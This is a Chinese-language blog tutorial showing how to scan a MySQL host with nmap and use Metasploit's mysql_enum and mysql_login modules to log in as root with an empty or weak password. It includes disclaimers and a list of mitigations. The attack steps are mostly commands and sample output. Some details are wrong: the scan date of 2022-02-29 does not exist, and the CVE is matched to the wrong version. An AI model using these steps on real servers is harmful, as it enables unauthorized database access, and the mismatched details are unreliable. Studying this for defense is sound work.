使用 Metasploit 利用 MySQL 默认空密码或弱密码漏洞 (CVE-2002-1809, CNNVD-200212-263, CVE-1999-0502)

警告


请勿将本文提到的任何技术用于非法用途

遵守中华人民共和国刑法》《中华人民共和国网络安全法》《中华人民共和国治安管理处罚法》和/或当地其他相关法律法规

本文作者在进行试验时已获得省级相关部门和作者单位相关部门的批准。

特别提示


重要:在执行本文的任何攻击命令前,请务必先充分考虑执行攻击命令的后果。本文作者不对文章内容做任何担保。

重要:执行本文的部分或全部命令有能违反中华人民共和国法律的可能性。在任何情况下,本文作者均不对本文提到的任何内容造成的任何结果承担任何责任。

请充分考虑再决定是否阅读本文。

协议


特别说明: 本文按“原样”提供,不做任何明示或暗示的担保,包括但不限于对适用性、正确性、使用情景合法性的担保。在和任何情况下,作者均不对读者使用本文提及的内容造成的结果进行赔偿或承担任何责任。

本作品采用 知识共享署名-禁止演绎 4.0 国际许可协议 进行许可。(CC-BY-ND 4.0)

当 CSDN 平台提供的版权协议与本协议 (CC-BY-ND 4.0) 不一致时,以本协议为准。

Copyright © 2022, 还没想好昵称的新建p

特别说明: 在转载时,禁止对本文的任何内容进行修改。

特别说明: “警告”和“协议”的全部内容应该按原样包含在本文的所有转载副本内容中。

如果您不同意协议中的任何一项请勿继续阅读或转载,并关闭此页面。

环境和约定


本文依据例行网络安全监测监测的真实案例改编。

我们约定,除非另有说明,本文所提及的攻击者和受害者 (靶机) 的 IP 地址和版本信息如下。

攻击者: localhost, Kali Linux + Windows 10, metasploit/6.1.27, nmap/7.91
受害者: 192.168.1.100, 推理操作系统 Linux (93%), 未能精确匹配操作系统信息

为保护隐私,本文提到的 IP 地址等为虚拟。


目的

利用 MySQL 的空密码或默认弱密码登录 MySQL。


CVE 信息

NVD CNNVD 漏洞中文名称
CVE-2002-1809 CNNVD-200212-263 MySQL Null Root Password Weak默认配置漏洞
CVE-1999-0502 CNNVD-199803-001 Unix账户漏洞

CVE-2002-1809, CNNVD-200212-263

MySQL 3.23.2 到 3.23.52 的 Windows 二进制版本中默认配置存在 NULL 根密码。

CVE-1999-0502

Unix 账户存在默认、空、空白或丢失密码漏洞。


渗透过程

0. 准备工作

0.1 使用 Nmap 扫描受害主机

通过如下命令对受害者扫描,得到开放端口、版本、操作系统推理等信息。

nmap -A 192.168.1.100

通过观察如下结果,可知受害者开放 3306 端口,服务为 mysql,版本 MySQL/5.5.20-log 脆弱。

Starting Nmap 7.91 ( https://nmap.org ) at 2022-02-29 02:33 China Standard Time
Nmap scan report for 192.168.1.100
Host is up (0.041s latency).
Not shown: 999 filtered ports
PORT     STATE  SERVICE       VERSION
3306/tcp open   mysql         MySQL 5.5.20-log
| mysql-info:
|   Protocol: 10
|   Version: 5.5.20-log
|   Thread ID: 233333333
|   Capabilities flags: 23333
|   Some Capabilities: …
|   Status: Autocommit
|   Salt: …
|_  Auth Plugin Name: mysql_native_passwordAggressive OS guesses: Linux (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 3 hopsTRACEROUTE (using port 3389/tcp)
HOP RTT       ADDRESS
1   17.00 ms  192.168.0.1
2   18.00 ms  192.168.1.1
3   32.00 ms  192.168.1.100OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.33 seconds

0.2 启动 Metasploit

msfconsole

进入 msfconsole 后,将看到启动文字界面和 msf6 > 。依次输入以下内容

1. 扫描用户

1.1 使用辅助扫描工具 (Auxiliary)

扫描用户时利用 CVE-2002-1809 漏洞。

使用如下命令选择 Auxiliary。

msf6 > use auxiliary/admin/mysql/mysql_enum

1.2 设置参数

使用如下命令查看该 Auxiliary 信息。

msf6 auxiliary(admin/mysql/mysql_enum) > show info

使用如下命令设置 rhosts

msf6 auxiliary(admin/mysql/mysql_enum) > set rhosts 192.168.1.100

将得到如下提示:rhosts => 192.168.1.100

1.3 攻击

警告


在执行任何攻击命令前,请务必先充分考虑执行攻击命令的后果。本文作者不对文章内容做任何担保。

特别提示:执行此命令有违反中华人民共和国法律的可能性。在任何情况下,本文作者均不对本文提到的任何内容造成的任何结果承担任何责任。

请充分考虑再决定是否继续。

设置参数后便可攻击受害者(亦可使用 run)。

exploit

通常,将看到如下结果。

[*] Running module against 192.168.1.100
[*] 192.168.1.100:3306 - Enumerating Parameters
[*] (省略一些受害者版本信息)
[*] 192.168.1.100:3306 - Enumerating Accounts:
[+] (省略一些受害者用户名密码)
[*] (省略一些具有不同权限的用户)
[*] Auxiliary module execution completed

2. 爆破口令

2.1 使用辅助扫描工具 (Auxiliary)

爆破口令时利用 CVE-1999-0502 漏洞。

使用如下命令选择 Auxiliary。

msf6 > use auxiliary/scanner/mysql/mysql_login

2.2 设置参数

使用如下命令查看该 Auxiliary 信息。

msf6 auxiliary(scanner/mysql/mysql_login) > show info

使用如下命令设置 rhosts

msf6 auxiliary(scanner/mysql/mysql_login) > set rhosts 192.168.1.100

将得到如下提示:rhosts => 192.168.1.100

如果受害者没有 CVE-2002-1809, CNNVD-200212-263 漏洞,请使用 set … … 命令妥善设置用户名、字典等,在此不作赘述。

2.3 攻击

警告


在执行任何攻击命令前,请务必先充分考虑执行攻击命令的后果。本文作者不对文章内容做任何担保。

特别提示:执行此命令有违反中华人民共和国法律的可能性。在任何情况下,本文作者均不对本文提到的任何内容造成的任何结果承担任何责任。

请充分考虑再决定是否继续。

设置参数后便可攻击受害者(亦可使用 run)。

exploit

通常,将看到如下结果。

[+] 192.168.1.100:3306 - 192.168.1.100:3306 - Found remote MySQL version 5.5.20
[!] 192.168.1.100:3306 - No active DB – Credential data will not be saved!
[+] 192.168.1.100:3306 - 192.168.1.100:3306 - Success: ‘root:’
[*] 192.168.1.100:3306 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Enjoy it!

至此,渗透完成。


防护措施

  • 升级 MySQL
  • 更改强密码
  • 删除不必要的用户
  • 更换 MySQL 端口,或使用 Unix Socket 套接字
  • 禁止用户远程登陆
  • 注意前端可能包含数据库用户名密码的配置文件(如 CMS 使用的配置文件等)的权限

敬告


本文作者并不对上述防护措施有效性做任何担保。


Copyright © 2022, 还没想好昵称的新建p  ( CC-BY-ND 4.0)

使用 Metasploit 利用 MySQL 默认空密码或弱密码漏洞 (CVE-2002-1809, CNNVD-200212-263, CVE-1999-0502)相关推荐

  1. xampp mysql是空的_xampp中修改mysql默认空密码(root密码)的方法分享

    参考了网上提供的一些方法,发现说的都挺复杂.下面同大家分享一种简单快捷的方法. 首先说明下mysql用户的相关信息是保存在mysql数据库的user表中的,并且该表的密码字段(Password)是通过 ...

  2. mysql暴力撞库与弱密码检测

    暴力撞库与弱密码检测 最近在生产数据库上碰到了一个问题,觉得挺有意思,总结出来和大家分享下. 关于暴力撞库和弱密码检测. 相信使用数据库的大家应该都不陌生,暴力撞库,简单通俗的讲通过一堆生成的密码,然 ...

  3. mysql空密码php_WAMP中如何修改mysql默认空密码_MySQL

    bitsCN.com WAMP安装好后,mysql教程密码是为空的,那么要如何修改呢?其实很简单,通过几条指令就行了,下面我就一步步来操作. 首先,通过WAMP打开mysql控制台. 提示输入密码,因 ...

  4. 如何修改WAMP中mysql默认空密码

    WAMP安装好后,mysql密码是为空的,那么要如何修改呢?其实很简单,通过几条指令就行了,下面我就一步步来操作. 首先,通过WAMP打开mysql控制台. 提示输入密码,因为现在是空,所以直接按回车 ...

  5. 如何修改WAMP中mysql默认空密码重新登录phpmyadmin

    2019独角兽企业重金招聘Python工程师标准>>> WAMP安装好后,MySQL密码是为空的,如何修改? 1. 首先,通过WAMP打开mysql控制台. 2. 提示输入密码,因为 ...

  6. mysql默认空列的弊端

    java后台开发中,设计表时,经常设置字符串类型字段的默认值为null,殊不知字段默认值为null,有哪些性能或存储空间浪费等细微问题.数据量小时,问题不容易发现,但是数据量上亿,细微问题将影响我们的 ...

  7. xampp默认mysql密码设置,修改mysql的默认空密码

    以前开发我一直都是用的appserv,appserv的特点就是一键安装,安装的时候会要求用户输入mysql的root密码.今天我改用xampp作为我的开发环境,所以碰到了修改mysql默认空密码的问题 ...

  8. mysql 1819错误_关于数据库密码报错MySQL ERROR 1819 (HY000): Your password d

    您可能已经注意到,在为MySQL数据库服务器的root设置密码时,系统会提示您启用"验证密码"组件.如果启用,验证密码组件将自动检查给定密码的强度,并强制用户只设置足够安全的密码. ...

  9. python脚本-暴力破解无线网弱密码

    关注我的博客,访问更多内容! 背景:学校最近重新架设无线网一体化,而初始密码为弱密码(6位数字),下面我们要做的就是通过暴力破解的方式破解弱密码!(所以建议大家以后无论是在注册还是什么情况,都千万不要 ...

  10. mysql 5.7.16默认密码_(转)Ubuntu16安装mysql5.7未提示输入密码,安装后修改mysql默认密码...

    Ubuntu16安装mysql5.7未提示输入密码,安装后修改mysql密码默认密码 mysql默认密码为空 但是使用mysql -uroot -p 命令连接mysql时,报错 ERROR 1045 ...

最新文章

  1. C# 5.0新加特性
  2. 图像增强(一):randaugment
  3. Android MVP和Dagger2
  4. 职场老实人的十大升职障碍
  5. bzoj1452 [JSOI2009]Count
  6. 【模板】lucas定理和扩展lucas定理(组合数取模)
  7. java myqq ui_myqq: Java版SWing“高”仿QQ即时通聊天系统
  8. 服务器内存只支持双路主板,壕到没朋友,支持双路18核CPU、16条内存、3路显卡的主板来了...
  9. 关于最近阿里内部员工抢月饼事件引发的js程序扩展
  10. python鸭制作类代码_python之类的多态(鸭子类型 )、封装和内置函数property
  11. 实时网速怎么看快慢_怎么看测出来的网速快慢
  12. 导览讲解 | 二维码语音讲解有什么优势?
  13. 大天使之剑h5服务器临时维护,大天使之剑H5合服细节 战盟对决时间安排
  14. 手写在线计算机,在线生成手写签名
  15. 基于java的城市公交查询管理系统
  16. 外贸盒子x96max+ 搭建Armbian系统 (附国内可用的img镜像下载地址)
  17. 算法训练 P0604
  18. SFP GBIC XFP SFP+光模块的区别杂谈
  19. 易语言 写注册项恶搞到你重装系统
  20. Elasticsearch 8.X “图搜图”实战

热门文章

  1. MATLAB--基本绘图函数
  2. 迅雷2019校园招聘 内推码
  3. OMS智能订单管理系统
  4. Nginx源码编译安装
  5. oracle instant client卸载,Oracle Instant Client(即时客户端) 安装与配置
  6. MAC 安装oracle instantclient
  7. 维纳滤波器matlab程序,维纳滤波原理及其matlab实现
  8. win10系统安装提示带有gui的服务器,安装win10提示“由于技术员系统中无接入音频设备,要启动GUI”如何...
  9. 计算机面试 OA 试题及答案,办公自动化题库OA(附答案)
  10. 2020软件设计师考试大纲